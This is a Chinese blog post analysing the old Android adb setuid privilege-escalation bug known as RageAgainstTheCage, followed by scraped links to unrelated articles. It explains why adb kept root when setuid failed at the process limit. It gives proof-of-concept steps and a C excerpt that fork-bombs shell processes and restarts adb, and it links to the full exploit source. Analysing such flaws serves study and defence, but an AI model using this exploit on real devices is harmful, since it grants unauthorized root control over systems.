/*

本文章由 莫灰灰 编写。转载请注明出处。

作者:莫灰灰    邮箱: minzhenfei@163.com

*/

1. 漏洞分析

这是个非常老的漏洞了,主要利用adb启动的时候调用setuid函数降到shell权限,却没有推断setuid返回失败的情况,因此造成了root的可能

例如以下是已经修复漏洞后的代码:

原本的代码大致例如以下:

setgid(AID_SHELL);
setuid(AID_SHELL);

而setxid等函数的实现,当中有例如以下一段代码,即shell进程的数量假设达到了RLIMIT_NPROC的数量,那么set函数就会返回失败,因此降权也就失败了。

if (atomic_read(&new_user->processes) >= rlimit(RLIMIT_NPROC) &&
new_user != INIT_USER) {
free_uid(new_user);
return -EAGAIN;
}

2. PoC

1.子进程中一直调用fork函数去添加shell进程,然后调用exit去退出它,以此造成了非常多的僵尸进程。

2.fork失败后,表明shell进程已经达到最大上限了,因此在pipe中写了一个char型数值。

3.父进程调用read pipe一直在等待fork子进程的结束,之后,fork到最大进程后。结束adb进程。

4.然后再fork一个进程抢占adb的位置。

5.等到下次adb再起来的时候。其原本是具有root权限的。而后调用setxxx函数去将权限减少到shell。但此时shell进程由于达到了最大的进程数,于是,调用setxxx函数会失败,adb进程也就保留了root权限。

if (fork() == 0) {
close(pepe[0]);
for (;;) {
if ((p = fork()) == 0) {
exit(0);
} else if (p < 0) {
if (new_pids) {
printf("\n[+] Forked %d childs.\n", pids);
new_pids = 0;
write(pepe[1], &c, 1);
close(pepe[1]);
}
} else {
++pids;
}
}
} close(pepe[1]);
read(pepe[0], &c, 1); restart_adb(adb_pid); if (fork() == 0) {
fork();
for (;;)
sleep(0x743C);
} wait_for_root_adb(adb_pid);

利用代码:http://blog.claudxiao.net/wp-content/uploads/2011/04/rageagainstthecage.c

Root exploit for Android (adb setuid)的更多相关文章

  1. Backup your Android without root or custom recovery -- adb backup

    ecently discovered a neat new way to back up apps on my Android without having to use Titanium Backu ...

  2. android adb常用命令

    android adb命令: adb root --获取root.adb remount --获取文件操作权限(push)adb shell pm list package 获取包名列表com.mqt ...

  3. Android "adb devices no permissions"

    列出当前连接设备时出现以下情况 [user@dell platform-tools]# ./adb devices List of devices attached ???????????? no p ...

  4. 【转】Linux下Android ADB驱动安装详解

    原文网址:http://blog.csdn.net/zhenwenxian/article/details/5901350 Linux下Android ADB驱动安装详解 概述 最近由于内置的合作商比 ...

  5. Android ADB命令教程二——ADB命令详解

    Android ADB命令教程二——ADB命令详解 转载▼ 原文链接:http://www.tbk.ren/article/249.html       我们使用 adb -h 来看看,adb命令里面 ...

  6. Android adb shell data目录,Permission denied

    Android adb shell进入data目录,Permission denied 权限被拒绝 在shell里面输入su root,去申请root权限,注意:有小部分手机是需要点击授权,再次执行c ...

  7. android adb devices offline的解决办法

    在做Android开发时经常出现android adb devices offline,解决办法如下: 1 重启adb服务 adb kill-server adb start-server linux ...

  8. Android ADB 常用命令

    Android ADB 常用命令 泛原罪 2016.09.21 00:02* 字数 605 阅读 2912评论 0喜欢 1 [TOC] adb logcat 查看日志 详细内容可参见 ADB Usag ...

  9. ROM定制开发教程-Android adb命令用法与实例解析

    一.什么是ADB Android Debug Bridge(adb)是一个命令行工具,可让您与模拟器或连接的Android设备进行通信.您可以在android sdk / platform-tools ...

随机推荐

  1. 【Itext】7步制作Itext5页眉页脚pdf实现第几页共几页

    itext5页眉页脚工具类,实现page x of y 完美兼容各种格式大小文档A4/B5/B3,兼容各种文档格式自动计算页脚XY轴坐标 鉴于没人做的这么细致,自己就写了一个itext5页眉页脚工具类 ...

  2. REST Web Server,REST介绍

    参考资料: 1.http://www.chinalivedoor.com/story/1123.html 2. Backbone.js 是一种重量级javascript  MVC 应用框架,通过Mod ...

  3. StudentSchema student实例数据库环境搭建

    环境搭建 查看默认表空间和临时表空间 select tablespace_name from dba_tablespaces: 创建用户 并给用户设置默认表空间和临时表空间 SQL> creat ...

  4. PHP自学4——通过mail函数将feedback界面用户填写表单信息发送至指定邮箱

    这一讲的内容依旧简单(谁叫PO主水平菜,依旧是个弱鸡ORZ),通过PHP的内置mail函数将一个反馈界面的信息发送到指定邮箱.在Windows平台不能直接需要使用该函数,需要下载一个sendmail并 ...

  5. CSS3 border属性的妙用

    .ribbon { background: #45c9c8; position: absolute; width: 75px; height: 25px; line-height: 25px; top ...

  6. OC中给我们提供的一个技术:谓词(NSPredicate).note

    OC中给我们提供的一个技术:谓词(NSPredicate)OC中的谓词操作是针对于数组类型的,他就好比数据库中的查询操作,数据源就是数组,这样的好处是我们不需要编写很多代码就可以去操作数组,同时也起到 ...

  7. 相见恨晚——MarkDown

    什么是MarkDown MarkDown是一种轻量级的标记语言 MarkDown使你更加关注文章的内容 MarkDown使文章的排版变得简单直接 什么情景下使用MarkDown 在我们熟悉的githu ...

  8. [重写库函数]atoi

    算法分析 1. 若字符串开头是空格,则跳过所有空格,到第一个非空格字符,如果没有,则返回0. 2. 若第一个非空格字符是符号+/-,则标记isPositive的真假,这道题还有个局限性,那就是在c++ ...

  9. 添加nginx为系统服务(service nginx start/stop/restart)

    1.在/etc/init.d/目录下编写脚本,名为nginx #!/bin/sh # # nginx - this script starts and stops the nginx daemon # ...

  10. VueJS搭建简单后台管理系统框架(一)环境搭建

    做这份笔记的时候,Vue.js还是1.0,10月份Vue已经升级到2.0,这边也进行相应的更新,用Vue2.0进行一个简单的环境搭建 饿了么也刚好开源了其基于Vue.js的UI框架element-ui ...